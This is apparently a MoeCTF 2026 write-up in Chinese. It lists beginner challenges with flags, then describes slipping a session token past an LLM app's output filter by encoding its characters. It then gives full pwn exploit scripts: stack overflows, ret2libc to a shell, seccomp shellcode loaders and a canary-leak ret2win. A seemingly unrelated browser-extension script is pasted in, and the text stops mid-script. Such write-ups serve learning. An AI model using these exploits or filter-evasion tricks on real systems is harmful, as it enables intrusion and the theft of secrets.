从此开始

1 签到

我做的时候还是各自定制flag的,后面来的就没有那个待遇了

1
moectf{welcome-to-moectf-2026}

2-1 如何连接在线环境?

直接打开就有了

image\.png

1
moectf{USiNG_WsRx_we-C4N_cOnnect_Th3-3NViRONMeNt4333}

2-2 如何使用 nc 连接环境?

连接成功后直接输那两段就行

image\.png

1
moectf{w0WWw-you_cAN-USE-NC4T19a8860c66}

2-3 如何使用 ssh 连接环境?

这玩意我队长手把手教过我,包得会啊

image\.png

1
moectf{NOw-y0u_KNOw_How_to_CoNN3cT-4_SERv3r_bY-usiNg_ssh5}

3-1 C语言环境配置与基础语法

C语言入门最大的笑话

image\.png

1
moectf{c-is-a-fast-and-high-level-language}

3-2 Python环境配置与基础语法

直接跑就行

1
moectf{python-i5-c0Ol}

3-4 命令提示符

双击打不开我不能直接命令行嘛

image\.png

1
moectf{cmd-i5-a-useful-c0mmand-t0o1-iN-wiNdows-Systems}

3-5 Linux虚拟环境安装与基础命令

image\.png

1
moectf{l1nux_15_50_3Asy}

大语言模型应用安全

代码面试官

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* eslint-env browser */

;(function () {
try {
const onMessage = ({ data }) => {
if (!data.wappalyzer || !data.wappalyzer.technologies) {
return
}

const { technologies } = data.wappalyzer

postMessage({
wappalyzer: {
js: technologies.reduce((technologies, { name, chains }) => {
if (chains) {
chains.forEach((chain, index) => {
const value = chain
.split('.')
.reduce(
(value, method) =>
value &&
value instanceof Object &&
Object.prototype.hasOwnProperty.call(value, method)
? value[method]
: '__UNDEFINED__',
window
)

if (value !== '__UNDEFINED__') {
technologies.push({
name,
chain,
value:
typeof value === 'string' || typeof value === 'number'
? value
: !!value,
})
}
})
}

return technologies
}, []),
},
})
}

addEventListener('message', onMessage, { once: true })
} catch (e) {
// Fail quietly
}
})()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/* eslint-env browser */

;(function () {
try {
const onMessage = ({ data }) => {
if (!data.wappalyzer || !data.wappalyzer.technologies) {
return
}

const { technologies } = data.wappalyzer

const toScalar = (value) =>
typeof value === 'string' || typeof value === 'number' ? value : !!value

removeEventListener('message', onMessage)

postMessage({
wappalyzer: {
dom: technologies.reduce((technologies, { name, dom }) => {
try {
Object.keys(dom).forEach((selector) => {
let nodes = []

try {
nodes = document.querySelectorAll(selector)
} catch (error) {
// Continue
}

if (!nodes.length) {
return
}

nodes.forEach((node) => {
dom[selector].forEach(({ properties }) => {
if (properties) {
Object.keys(properties).forEach((property) => {
if (
Object.prototype.hasOwnProperty.call(node, property)
) {
const value = node[property]

if (typeof value !== 'undefined') {
technologies.push({
name,
selector,
property,
value: toScalar(value),
})
}
}
})
}
})
})
})
} catch (error) {
// Fail quietly
}

return technologies
}, []),
},
})
}

addEventListener('message', onMessage)
} catch (e) {
// Fail quietly
}
})()

image\.png

前端源码里能看到它只负责三个接口:

  • api/init,初始化身份

  • api/execute,执行 Python 代码

  • api/submit_flag,提交答案

题目已经明确说了,模拟器环境里预加载了变量 SESSION_TOKEN,目标就是把它拿出来。但直接输出很可能会被审查机制拦掉

前端源码说明,代码执行结果是从后端返回的 output 字段显示出来的。也就是说,只要让后端“看到的不是明文 token”就行

先输出每个字符的偏移值,再本地还原。

不要直接写 SESSION_TOKEN,可以拼出来:

Text
1
2
3
4
name = ''.join(map(chr, [83,69,83,83,73,79,78,95,84,79,75,69,78]))
value = vars()[name]
for i, ch in enumerate(value):
print(i, ord(ch) + 1337)

页面返回的是一串数字,比如:

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0 1446
1 1448
2 1438
3 1436
4 1453
5 1439
6 1460
7 1390
8 1421
9 1406
10 1402
11 1413
12 1432
13 1410
14 1447
15 1407
16 1385
17 1382
18 1442
19 1415
20 1432
21 1417
22 1451
23 1416
24 1414
25 1417
26 1453
27 1388
28 1394
29 1386
30 1439
31 1462

把每个数字减去 1337,再转回字符即可

Text
1
2
nums = [1446,1448,1438,1436,1453,1439,1460,1390,1421,1406,1402,1413,1432,1410,1447,1407,1385,1382,1442,1415,1432,1417,1451,1416,1414,1417,1453,1388,1394,1386,1439,1462]
print(''.join(chr(n - 1337) for n in nums))

得到最终 token

image\.png

Text
1
moectf{5TEAL_InF0-iN_PrOMPt391f}

二进制漏洞审计

Pwn入门指北

反编译后看到密码和Secret Code,直接交互就行

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(os="linux", arch="amd64", log_level="debug")

io = remote("127.0.0.1", 5123)

io.recvuntil(b"Hello,my friend.Please enter the password to begin")

io.sendline(b"2147483647")

io.sendafter(b"Input your answer:", b"Welcometomoectf2026pwn\n")

io.interactive()
1
moectf{W31c0m3_70_The_Pwn_w0r1d_4nd_3nJoY_Yourself!!!}

走后门

经典的栈溢出

分析主函数得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ssize_t vuln()
{
int v1; // [rsp+Ch] [rbp-44h] BYREF
_BYTE buf[64]; // [rsp+10h] [rbp-40h] BYREF

puts(aMaybeIfYouGive);
puts("So how many do you want to give?");
__isoc99_scanf("%d", &v1);
puts("Now plz give it to me");
if ( v1 <= 0 )
{
puts("Don't get cute with me and I am not the genie.");
exit(0);
}
return read(0, buf, v1);
}

接着找到后门

image\.png

计算偏移量,填充 72 字节后,接下来的 8 字节就是返回地址。填充 72 字节后,接下来的 8 字节就是返回地址。

注意还要栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

BINARY = r"...\pwn"
HOST = "127.0.0.1"
PORT = 7681

context(arch='amd64', os='linux', log_level='debug')

elf = ELF(BINARY)

rop = ROP(elf)
ret_addr = rop.ret.address
log.success(f"Auto-found ret gadget: {hex(ret_addr)}")

backdoor_addr = elf.symbols['backdoor']
log.success(f"backdoor address: {hex(backdoor_addr)}")

offset = 64 + 8

payload = b'A' * offset + p64(ret_addr) + p64(backdoor_addr)

p = remote(HOST, PORT)

p.recvuntil(b"So how many do you want to give?")
p.sendline(str(len(payload)).encode())

p.recvuntil(b"Now plz give it to me")
p.send(payload)

p.interactive()

image\.png

1
moectf{Y0u_G4v3_3n0ugh_4nd_Ret_2_TEXT_5ucessfu11y}

Hello-World01

反编译后看到main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
puts("Check your programming skill:");
puts("fill in the blank:");
puts("#include <stdio.h>");
puts("#include <stdlib.h>");
puts(&byte_402081);
puts("int main(){");
puts(" _______ (\"Hello World!\");");
puts(" return 0;");
puts("}");
puts("Your answer:");
read(0, buf, 0x1Fu);
buf[strcspn(buf, "\n")] = 0;
if ( !strcmp(buf, "puts") )
{
printf("This function seems to be unsafe,right? %p\n", &puts);
}
else if ( !strcmp(buf, "printf") )
{
printf("This function seems to be unsafe,right? %p\n", &printf);
}
else
{
puts("Go and learn more about C and libc");
}
vuln();
return 0;
}

接着找到vuln(),栈溢出

1
2
3
4
5
6
7
ssize_t vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Now show me your real pwn skill:");
return read(0, buf, 0xC8u);
}
1
2
3
4
5
6
7
8
9
┌──────────────────────────────────────────────────────┐
│ Step 1: 输入 "puts" → 泄露 puts 地址 │
│ Step 2: 计算 libc_base = puts_addr - offset_puts │
│ Step 3: 计算 system、/bin/sh 地址 │
│ Step 4: 进入 vuln(),发送溢出 payload │
│ padding(72B) + ret + pop_rdi + /bin/sh │
│ + system │
│ Step 5: 获得 shell │
└──────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

elf_path = r'C:\Users\35188\Desktop\CTF\helloworld\helloworld\pwn'
libc_path = r'C:\Users\35188\Desktop\CTF\helloworld\helloworld\libc.so.6'

elf = ELF(elf_path)
libc = ELF(libc_path)

io = remote('127.0.0.1', 49964)

io.sendlineafter(b'Your answer:\n', b'puts')
io.recvuntil(b'right? ')
puts_addr = int(io.recvline().strip(), 16)
log.success(f'puts @ {hex(puts_addr)}')

libc_base = puts_addr - libc.sym['puts']
log.success(f'libc base @ {hex(libc_base)}')

system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

rop_elf = ROP(elf)
rop_libc = ROP(libc)

try:
pop_rdi = rop_elf.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'pop rdi; ret (ELF) @ {hex(pop_rdi)}')
except:
pop_rdi = rop_libc.find_gadget(['pop rdi', 'ret'])[0] + libc_base
log.warning(f'pop rdi; ret (libc) @ {hex(pop_rdi)}')

try:
ret = rop_elf.find_gadget(['ret'])[0]
log.success(f'ret gadget (ELF) @ {hex(ret)}')
except:
ret = rop_libc.find_gadget(['ret'])[0] + libc_base
log.warning(f'ret gadget (libc) @ {hex(ret)}')

offset = 0x40 + 8

payload = flat([
b'A' * offset,
ret,
pop_rdi,
bin_sh_addr,
system_addr
])

io.sendlineafter(b'Now show me your real pwn skill:\n', payload)
log.success('Payload sent!')

io.interactive()

image\.png

1
moectf{Us3_Address_To_R3Turn_70_LIBC_1S_a_W0nD3RFu1_Ski11}

ezpwn01

在浏览器中用 pwntools 生成 shellcode,运行后读取 /flag

1
2
3
from pwn import *
context(arch='amd64', os='linux')
payload = asm(shellcraft.sh())

image\.png

窥探一手后台怎么写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
import asyncio
import base64
import hashlib
import os
import signal
import struct

import httpx
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from fastapi.responses import FileResponse
from fastapi.staticfiles import StaticFiles


BASE_DIR = os.path.dirname(os.path.abspath(__file__))
STATIC_DIR = os.path.join(BASE_DIR, "static")
RUNNER_URL = os.getenv("RUNNER_URL", "http://127.0.0.1:9000/build")
CHALL_PATH = os.getenv("CHALL_PATH", "/opt/challenge/chall")
CHALL_TIMEOUT = float(os.getenv("CHALL_TIMEOUT", "120"))

app = FastAPI()
app.mount("/static", StaticFiles(directory=STATIC_DIR), name="static")


@app.get("/")
async def index() -> FileResponse:
return FileResponse(os.path.join(STATIC_DIR, "index.html"))


async def stop_process(proc: asyncio.subprocess.Process | None) -> None:
if proc is None or proc.returncode is not None:
return

try:
proc.terminate()
await asyncio.wait_for(proc.wait(), timeout=1)
except asyncio.TimeoutError:
proc.kill()
await proc.wait()
except ProcessLookupError:
pass


async def stream_output(send_json, proc: asyncio.subprocess.Process) -> None:
try:
while True:
chunk = await proc.stdout.read(1024)
if not chunk:
break

await send_json(
{
"type": "output",
"data_b64": base64.b64encode(chunk).decode("ascii"),
}
)
returncode = await proc.wait()
await send_json(
{
"type": "status",
"level": "info",
"message": f"chall exited with code {returncode}",
}
)
except Exception:
pass


async def enforce_timeout(send_json, proc: asyncio.subprocess.Process) -> None:
try:
await asyncio.sleep(CHALL_TIMEOUT)
if proc.returncode is None:
try:
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
except ProcessLookupError:
pass
await send_json(
{
"type": "status",
"level": "warn",
"message": "chall timed out and was stopped",
}
)
except Exception:
pass


async def build_payload(code: str) -> dict[str, object]:
async with httpx.AsyncClient(timeout=8) as client:
resp = await client.post(RUNNER_URL, json={"code": code})

if resp.status_code != 200:
detail = resp.text
try:
detail = resp.json().get("detail", detail)
except Exception:
pass
raise RuntimeError(str(detail))

return resp.json()


async def start_chall(payload: bytes) -> asyncio.subprocess.Process:
proc = await asyncio.create_subprocess_exec(
CHALL_PATH,
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT,
preexec_fn=os.setsid,
)

proc.stdin.write(struct.pack("<I", len(payload)) + payload)
await proc.stdin.drain()
return proc


@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
await websocket.accept()

proc: asyncio.subprocess.Process | None = None
output_task: asyncio.Task | None = None
timeout_task: asyncio.Task | None = None
send_lock = asyncio.Lock()

async def send_json(message: dict[str, object]) -> None:
async with send_lock:
await websocket.send_json(message)

async def cleanup() -> None:
nonlocal proc, output_task, timeout_task

for task in (output_task, timeout_task):
if task and not task.done():
task.cancel()
try:
await task
except asyncio.CancelledError:
pass

if proc and proc.returncode is None:
try:
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
except ProcessLookupError:
pass
await stop_process(proc)

proc = None
output_task = None
timeout_task = None

try:
while True:
message = await websocket.receive_json()
msg_type = message.get("type")

if msg_type == "run":
await cleanup()

code = message.get("code", "")
await send_json(
{
"type": "status",
"level": "info",
"message": "building payload with pwntools...",
}
)

try:
result = await build_payload(code)
payload = base64.b64decode(result["payload_b64"], validate=True)
except Exception as exc:
await send_json(
{
"type": "error",
"message": str(exc),
}
)
continue

digest = hashlib.sha256(payload).hexdigest()[:16]
await send_json(
{
"type": "meta",
"payload_len": len(payload),
"sha256": digest,
"runner_log": result.get("runner_log", ""),
}
)

try:
proc = await start_chall(payload)
except Exception as exc:
await send_json(
{
"type": "error",
"message": f"failed to start chall: {exc}",
}
)
continue

output_task = asyncio.create_task(stream_output(send_json, proc))
timeout_task = asyncio.create_task(enforce_timeout(send_json, proc))

elif msg_type == "stdin":
if proc is None or proc.stdin is None or proc.returncode is not None:
await send_json(
{
"type": "status",
"level": "warn",
"message": "chall is not running",
}
)
continue

try:
data = base64.b64decode(message.get("data_b64", ""), validate=True)
proc.stdin.write(data)
await proc.stdin.drain()
except Exception as exc:
await send_json(
{
"type": "status",
"level": "warn",
"message": f"stdin write failed: {exc}",
}
)

elif msg_type == "restart":
await cleanup()
await send_json(
{
"type": "status",
"level": "info",
"message": "chall stopped",
}
)

else:
await send_json(
{
"type": "status",
"level": "warn",
"message": "unknown message type",
}
)

except WebSocketDisconnect:
pass
finally:
await cleanup()

直接cat就行

1
moectf{ceaec6b2-7534-2d07-413b-2cfabb11e2e6}

ezpwn02

题目分析

程序流程很直接:

  1. 先读入 4 字节长度 buf

  2. mmap 一块可执行内存

  3. 再读入 buf 字节的 stage1

  4. 检查 stage1 是否包含 badchars

  5. 安装 seccomp,只允许 read / write / openat / exit

  6. 直接执行 stage1

题目给的限制是:

  • stage1 最多 40 字节

  • badchars: 00 0a 20 2f 66 6c 61 67

  • seccomp 只放行 read/write/openat/exit

所以本题本质是:

  1. 用一段很短的 shellcode 做 loader

  2. 再用第二段 shellcode 读 flag

关键点

main 里最后是 v4(v4),也就是把 mmap 返回地址当成函数指针直接执行。

这说明 stage1 可以把 stage2 读到别的地址,再跳过去执行,避免把自己覆盖掉。

Stage1

stage1 只做一件事:

  1. 把 stage2 读到 rdi + 0x30

  2. 跳到 rsi 执行

1
2
3
4
5
6
lea rsi, [rdi + 0x30]
xor edi, edi
xor eax, eax
mov dl, 0xff
syscall
jmp rsi

Stage2

seccomp 只留了 openat/read/write/exit,所以直接走经典链:

  1. openat(AT_FDCWD, "flag", O_RDONLY, 0)

  2. read(fd, buf, 0x80)

  3. write(1, buf, n)

  4. exit(0)

由于 badchars 只检查 stage1,stage2 可以正常使用字符串和 0 字节。

本题本地环境里用的是相对路径 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import socket
import struct

HOST = "127.0.0.1"
PORT = 36628

def build_stage1():
# read(stage2, rdi + 0x30, 0xff); jmp rsi
sc = bytes([
0x48, 0x8d, 0x77, 0x30, # lea rsi, [rdi + 0x30]
0x31, 0xff, # xor edi, edi
0x31, 0xc0, # xor eax, eax
0xb2, 0xff, # mov dl, 0xff
0x0f, 0x05, # syscall
0xff, 0xe6, # jmp rsi
])
bad = {0x00, 0x0a, 0x20, 0x2f, 0x66, 0x6c, 0x61, 0x67}
assert len(sc) <= 40
assert all(b not in bad for b in sc)
return sc

def build_stage2():
# openat(AT_FDCWD, "flag", O_RDONLY, 0)
# read(fd, rsp, 0x80)
# write(1, rsp, n)
# exit(0)
sc = bytearray()
sc += b"\x31\xd2" # xor edx, edx
sc += b"\x52" # push rdx
sc += b"\x48\xbb\x66\x6c\x61\x67\x00\x00\x00\x00" # mov rbx, 0x67616c66
sc += b"\x53" # push rbx
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\x6a\x9c" # push -100
sc += b"\x5f" # pop rdi
sc += b"\x31\xd2" # xor edx, edx
sc += b"\x66\xb8\x01\x01" # mov ax, 257
sc += b"\x0f\x05" # syscall
sc += b"\x89\xc7" # mov edi, eax
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\x31\xd2" # xor edx, edx
sc += b"\xb2\x80" # mov dl, 0x80
sc += b"\x31\xc0" # xor eax, eax
sc += b"\x0f\x05" # syscall
sc += b"\x89\xc2" # mov edx, eax
sc += b"\x6a\x01" # push 1
sc += b"\x5f" # pop rdi
sc += b"\x6a\x01" # push 1
sc += b"\x58" # pop rax
sc += b"\x0f\x05" # syscall
sc += b"\x6a\x3c" # push 60
sc += b"\x58" # pop rax
sc += b"\x31\xff" # xor edi, edi
sc += b"\x0f\x05" # syscall
return bytes(sc)

def main():
stage1 = build_stage1()
stage2 = build_stage2()
payload = struct.pack("<I", len(stage1)) + stage1 + stage2

with socket.create_connection((HOST, PORT)) as s:
banner = s.recv(4096)
print(banner.decode(errors="replace"), end="")
s.sendall(payload)
try:
while True:
data = s.recv(4096)
if not data:
break
print(data.decode(errors="replace"), end="")
except OSError:
pass

if __name__ == "__main__":
main()

1
moectf{b052c225-277a-ee86-69de-c8d0eb131508}

omg电台出问题了

附件是一个静态链接的 ELF64 程序 radio_relay。主流程大致是:

  1. 读 1 字节长度 len

  2. 读入 len 字节密文

  3. 对输入做一次 strlen 检查,要求结果 <= 0x20

  4. 再把整段 len 字节 memcpy 到栈上

  5. 最后间接调用一个栈上的函数指针

关键点在于:

  • 输入长度最大允许 0x48

  • 栈上目标缓冲区只有 0x40

  • strlen 只看第一个 \x00 之前的长度

  • 所以只要在前 32 字节后放一个 \x00,就能绕过长度检查

  • 然后继续用后面的字节把 memcpy 的目标栈帧打穿,覆盖函数指针

反汇编里可见隐藏的修复函数地址是 0x40182a,也就是 repair_complete。把函数指针覆盖成它即可读 /flag。

1
2
len = 0x48
data = b"A" * 32 + b"\x00" + b"B" * 31 + p64(0x40182a)
  • 32 字节可见字符串,保证 strlen <= 0x20

  • 31 字节填充到栈缓冲区末尾

  • 最后 8 字节覆盖函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import socket
import struct
import sys

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 48135
TARGET = 0x40182A

def recv_until(sock, marker: bytes) -> bytes:
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data

def main():
payload = b"A" * 32 + b"\x00" + b"B" * 31 + struct.pack("<Q", TARGET)
msg = bytes([0x48]) + payload

with socket.create_connection((HOST, PORT)) as s:
s.settimeout(2)
banner = recv_until(s, b"Enter repair ciphertext:")
if banner:
print(banner.decode("latin1", errors="replace"))
s.sendall(msg)

out = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except TimeoutError:
break
except OSError:
break

if out:
print(out.decode("latin1", errors="replace"))

if __name__ == "__main__":
main()
1
moectf{radio_repair_cipher_truncation}

灯神的愿望

目标程序是一个 64 位 PIE ELF,开启了 NX 和 RELRO,但题目本身没有复杂利用链,核心是一个整数边界问题。

main 里初始愿望数为 1。选择 1. Make more wishes 后会读入一个 int,逻辑大致是

1
2
3
4
5
6
7
scanf("%d", &n);
if (n > 0) {
puts("Sorry, you can't increase wishes.");
exit(0);
}
wish_cnt = n;
printf("You can still make %u wishes!\n", wish_cnt);

这里没有禁止负数。于是输入 -1 时,wish_cnt 被写成 -1,但后面按无符号数打印和比较时会变成 4294967295。

随后选择 3. Get flag,程序会检查

1
2
if (wish_cnt > 0x1bf51)
win();

-1 回绕后远大于阈值,直接进入 win(),里面调用 system("/bin/sh")。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
import argparse
import socket
import sys
import time

def recv_all(sock, timeout=0.5):
sock.settimeout(timeout)
chunks = []
while True:
try:
data = sock.recv(4096)
if not data:
break
chunks.append(data)
except (TimeoutError, socket.timeout):
break
return b"".join(chunks)

def main():
parser = argparse.ArgumentParser(description="Genie's Wishes one-shot exploit")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", default=49319, type=int)
parser.add_argument(
"--cmd",
default="cat /app/flag",
help="command to run after getting shell",
)
args = parser.parse_args()

payload = (
b"1\n"
b"-1\n"
b"3\n"
+ args.cmd.encode()
+ b"\n"
)

with socket.create_connection((args.host, args.port), timeout=3) as sock:
banner = recv_all(sock, 0.3)
sys.stdout.buffer.write(banner)
sock.sendall(payload)
time.sleep(0.4)
out = recv_all(sock, 1.0)
sys.stdout.buffer.write(out)

if __name__ == "__main__":
main()
1
moectf{N0w_You_Kn0w_Num63r_0v3rflow_And_GET_3nd1eSS_W1SHES}

百万英镑

题目是一个很标准的“低字节校验失误 + 栈溢出”。

main 里先读入一个数字 n,然后调用 cheque_bytes(n):

1
2
3
cheque_bytes:
mov rax, [rbp-0x8]
shl eax, 0x3

这里本来想算 n * 8,但后面在 main 里只把结果存进了 al,再拿一个字节去比较:

1
2
mov BYTE PTR [rbp-0x9], al
cmp BYTE PTR [rbp-0x9], 0x60

所以只要让 n * 8 的低字节 <= 0x60,检查就会过。

真正的读入长度却没截断,read_exact 用的是完整的 n * 8:

1
2
3
lea rdx, [rax*8]
lea rax, [rbp-0x70]
call read_exact

main 的缓冲区只有 0x70 字节,保存返回地址的位置在输入起点后 0x78 字节。

直接输入 32:

  • 32 * 8 = 256

  • 低字节是 0x00,能通过检查

  • 实际会读取 256 字节,覆盖到 main 的返回地址

然后把返回地址改成 staff_room(),它内部已经准备好了 execve("/bin/sh", ...)。

为了栈对齐,前面再垫一个单独的 ret gadget:

  • ret = 0x401184

  • staff_room = 0x401394

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import argparse
import socket
import struct
import time

RET = 0x401184
STAFF_ROOM = 0x401394
PAYLOAD_LEN = 256
OFFSET_TO_RIP = 0x78

def recv_some(sock, timeout=0.5):
sock.settimeout(timeout)
chunks = []
while True:
try:
data = sock.recv(4096)
except Exception:
break
if not data:
break
chunks.append(data)
if len(data) < 4096:
break
return b"".join(chunks)

def build_payload():
payload = b"A" * OFFSET_TO_RIP
payload += struct.pack("<Q", RET)
payload += struct.pack("<Q", STAFF_ROOM)
return payload.ljust(PAYLOAD_LEN, b"B")

def main():
parser = argparse.ArgumentParser(description="Million Pound one-shot exploit")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=48895)
parser.add_argument(
"--command",
default="cat flag* /flag* /home/*/flag* 2>/dev/null",
help="command to run after getting a shell",
)
args = parser.parse_args()

s = socket.create_connection((args.host, args.port), timeout=3)
print(recv_some(s).decode("latin1", "ignore"), end="")

# 32 * 8 = 256, so the byte-sized check passes while read_exact still
# receives 256 bytes and walks straight over the saved RIP in main.
s.sendall(b"32\n" + build_payload())
time.sleep(0.2)
s.sendall((args.command + "\n").encode())
time.sleep(0.5)
print(recv_some(s, timeout=1.0).decode("latin1", "ignore"), end="")

if __name__ == "__main__":
main()

1
moectf{C0unt1ng_By_Byt3s_1s_N0t_C0unt1ng_Saf3ly}

校庆抽奖后台

lottery_debug 是 64 位 PIE ELF。二进制有 canary、NX、Full RELRO、PIE,并带有 IBT, SHSTK note。

1
2
3
4
5
/flag
[trace] active record: %p :: 0x%016lx
[lottery] Submit a two-byte little-endian claim packet length.
[lottery] Send claim packet:
[lottery] Jackpot awarded:

符号表没有 strip,关键函数偏移如下

1
2
3
4
5
6
read_exact      0x1269
stack_guard 0x12ee
award_jackpot 0x1330
submit_claim 0x149a
main 0x14f2
ret gadget 0x101a

main 开头会打印调试 trace:

1
2
3
4
5
call   stack_guard
mov rdx, rax
lea rsi, [award_jackpot]
lea rdi, ["[trace] active record: %p :: 0x%016lx\n"]
call printf

也就是说:

  • %p 泄露 award_jackpot 的真实运行地址,可计算 PIE base

  • %016lx 泄露当前线程 canary

stack_guard() 本质上读 fs:0x28 并返回,所以泄露的值就是栈 canary。

随后程序读入 2 字节小端长度:

1
2
3
4
read_exact(&len, 2)
if len == 0 or len > 0x100:
invalid
submit_claim(len)

submit_claim 中的漏洞:

1
2
3
4
lea    rax, [rbp-0x50]
mov rsi, len
mov rdi, rax
call read_exact

但是该函数的 canary 位于 [rbp-0x8],所以从缓冲区起点到 canary 的距离是:

1
0x50 - 0x8 = 0x48

程序最多允许读 0x100 字节,因此可以覆盖:

1
buf -> canary -> saved rbp -> return address

award_jackpot() 会打开 /flag,读取内容并输出:

1
[lottery] Jackpot awarded: <flag>

所以利用方式是 ret2win。

从 trace 解析:

1
2
3
4
award_jackpot_addr = leak1
canary = leak2
pie_base = award_jackpot_addr - 0x1330
ret_gadget = pie_base + 0x101a
1
2
3
4
5
"A" * 0x48
+ p64(canary)
+ "B" * 8
+ p64(ret_gadget)
+ p64(award_jackpot_addr)

这里加一个单独 ret 是为了修正 x86-64 调用约定下的 16 字节栈对齐,让 award_jackpot() 里继续调用 open/read/write 时更稳定。

payload 长度为 0x68,先发送 2 字节小端长度,再发送 payload:

1
p16(0x68) + payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import re
import socket
import struct
import sys

DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 45972
DEFAULT_TRIES = 30

AWARD_JACKPOT_OFF = 0x1330
RET_GADGET_OFF = 0x101A

def p16(value):
return struct.pack("<H", value & 0xFFFF)

def p64(value):
return struct.pack("<Q", value & 0xFFFFFFFFFFFFFFFF)

def recv_until(sock, marker, timeout=2.0):
sock.settimeout(timeout)
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data

def recv_all(sock, timeout=2.0):
sock.settimeout(timeout)
data = b""
while True:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
data += chunk
return data

def build_payload(base, award_jackpot, canary):
ret = base + RET_GADGET_OFF
payload = b"A" * 0x48
payload += p64(canary)
payload += b"B" * 8
payload += p64(ret)
payload += p64(award_jackpot)
if not (0 < len(payload) <= 0x100):
raise ValueError("payload length out of accepted range")
return payload

def attack_once(host, port):
sock = socket.create_connection((host, port), timeout=3.0)
banner = recv_until(sock, b"Send claim packet:\n")

leak = re.search(
rb"active record: (0x[0-9a-fA-F]+) :: 0x([0-9a-fA-F]+)",
banner,
)
if leak is None:
sock.close()
raise RuntimeError(f"failed to parse leak: {banner!r}")

award_jackpot = int(leak.group(1), 16)
canary = int(leak.group(2), 16)
base = award_jackpot - AWARD_JACKPOT_OFF
payload = build_payload(base, award_jackpot, canary)

sock.sendall(p16(len(payload)) + payload)
output = recv_all(sock)
sock.close()
return base, award_jackpot, canary, output

def main():
host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
